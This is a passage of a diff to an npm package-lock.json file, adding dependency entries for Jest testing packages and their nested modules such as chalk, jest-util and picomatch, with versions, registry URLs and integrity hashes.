"node_modules/@jest/environment/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@jest/environment/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/environment/node_modules/jest-mock": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz", + "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/expect-utils": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-30.3.0.tgz", + "integrity": "sha512-j0+W5iQQ8hBh7tHZkTQv3q2Fh/M7Je72cIsYqC4OaktgtO7v1So9UTjp6uPBHIaB6beoF/RRsCgMJKvti0wADA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/get-type": "30.1.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/fake-timers": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.5.1.tgz", + "integrity": "sha512-/aPowoolwa07k7/oM3aASneNeBGCmGQsc3ugN4u6s4C/+s5M64MFo/+djTdiwcbQlRfFElGuDXWzaWj6QgKObQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@sinonjs/fake-timers": "^8.0.1", + "@types/node": "*", + "jest-message-util": "^27.5.1", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/fake-timers/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/fake-timers/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@jest/fake-timers/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/fake-timers/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/fake-timers/node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/fake-timers/node_modules/jest-mock": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz", + "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/fake-timers/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/fake-timers/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/@jest/get-type": { + "version": "30.1.0", + "resolved": "https://registry.npmjs.org/@jest/get-type/-/get-type-30.1.0.tgz", + "integrity": "sha512-eMbZE2hUnx1WV0pmURZY9XoXPkUYjpc55mb0CrhtdWLtzMQPFvu/rZkTLZFTsdaVQa+Tr4eWAteqcUzoawq/uA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/globals": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.5.1.tgz", + "integrity": "sha512-ZEJNB41OBQQgGzgyInAv0UUfDDj3upmHydjieSxFvTRuZElrx7tXg/uVQ5hYVEwiXs3+aMsAeEc9X7xiSKCm4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/types": "^27.5.1", + "expect": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/globals/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/globals/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@jest/globals/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/globals/node_modules/expect": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/expect/-/expect-27.5.1.tgz", + "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/globals/node_modules/jest-diff": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz", + "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/globals/node_modules/jest-matcher-utils": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz", + "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.0.0", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/globals/node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/pattern": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/pattern/-/pattern-30.0.1.tgz", + "integrity": "sha512-gWp7NfQW27LaBQz3TITS8L7ZCQ0TLvtmI//4OwlQRx4rnWxcPNIYjxZpDcN4+UlGxgm3jS5QPz8IPTCkb59wZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*", + "jest-regex-util": "30.0.1" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/reporters": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.5.1.tgz", + "integrity": "sha512-cPXh9hWIlVJMQkVk84aIvXuBB4uQQmFqZiacloFuGiP3ah1sbCxCosidXFDfqG8+6fO1oR2dTJTlsOy4VFmUfw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@bcoe/v8-coverage": "^0.2.3", + "@jest/console": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "collect-v8-coverage": "^1.0.0", + "exit": "^0.1.2", + "glob": "^7.1.2", + "graceful-fs": "^4.2.9", + "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-instrument": "^5.1.0", + "istanbul-lib-report": "^3.0.0", + "istanbul-lib-source-maps": "^4.0.0", + "istanbul-reports": "^3.1.3", + "jest-haste-map": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "slash": "^3.0.0", + "source-map": "^0.6.0", + "string-length": "^4.0.1", + "terminal-link": "^2.0.0", + "v8-to-istanbul": "^8.1.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/@jest/reporters/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/reporters/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@jest/reporters/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/reporters/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/reporters/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/reporters/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/@jest/reporters/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@jest/schemas": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", + "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@sinclair/typebox": "^0.34.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/source-map": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.5.1.tgz", + "integrity": "sha512-y9NIHUYF3PJRlHk98NdC/N1gl88BL08aQQgu4k4ZopQkCw9t9cV8mtl3TV8b/YCB8XaVTFrmUTAJvjsntDireg==", + "dev": true, + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0", + "graceful-fs": "^4.2.9", + "source-map": "^0.6.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/source-map/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@jest/test-result": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.5.1.tgz", + "integrity": "sha512-EW35l2RYFUcUQxFJz5Cv5MTOxlJIQs4I7gxzi2zVU7PJhOwfYq1MdC5nhSmYjX1gmMmLPvB3sIaC+BkcHRBfag==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/istanbul-lib-coverage": "^2.0.0", + "collect-v8-coverage": "^1.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/test-result/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/test-result/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@jest/test-result/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/test-sequencer": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.5.1.tgz", + "integrity": "sha512-LCheJF7WB2+9JuCS7VB/EmGIdQuhtqjRNI9A43idHv3E4KltCTsPsLxvdaubFHSYwY/fNjMWjl6vNRhDiN7vpQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/test-result": "^27.5.1", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-runtime": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/transform": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.5.1.tgz", + "integrity": "sha512-ipON6WtYgl/1329g5AIJVbUuEh0wZVbdpGwC99Jw4LwuoBNS95MVphU6zOeD9pDkon+LLbFL7lOQRapbB8SCHw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.1.0", + "@jest/types": "^27.5.1", + "babel-plugin-istanbul": "^6.1.1", + "chalk": "^4.0.0", + "convert-source-map": "^1.4.0", + "fast-json-stable-stringify": "^2.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-util": "^27.5.1", + "micromatch": "^4.0.4", + "pirates": "^4.0.4", + "slash": "^3.0.0", + "source-map": "^0.6.1", + "write-file-atomic": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/transform/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/transform/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@jest/transform/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/transform/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/transform/node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jest/transform/node_modules/jest-regex-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/transform/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/transform/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/@jest/transform/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@jest/types": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.3.0.tgz", + "integrity": "sha512-JHm87k7bA33hpBngtU8h6UBub/fqqA9uXfw+21j5Hmk7ooPHlboRNxHq0JcMtC+n8VJGP1mcfnD3Mk+XKe1oSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/pattern": "30.0.1", + "@jest/schemas": "30.0.5", + "@types/istanbul-lib-coverage": "^2.0.6", + "@types/istanbul-reports": "^3.0.4", + "@types/node": "*", + "@types/yargs": "^17.0.33", + "chalk": "^4.1.2" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@jest/types/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" 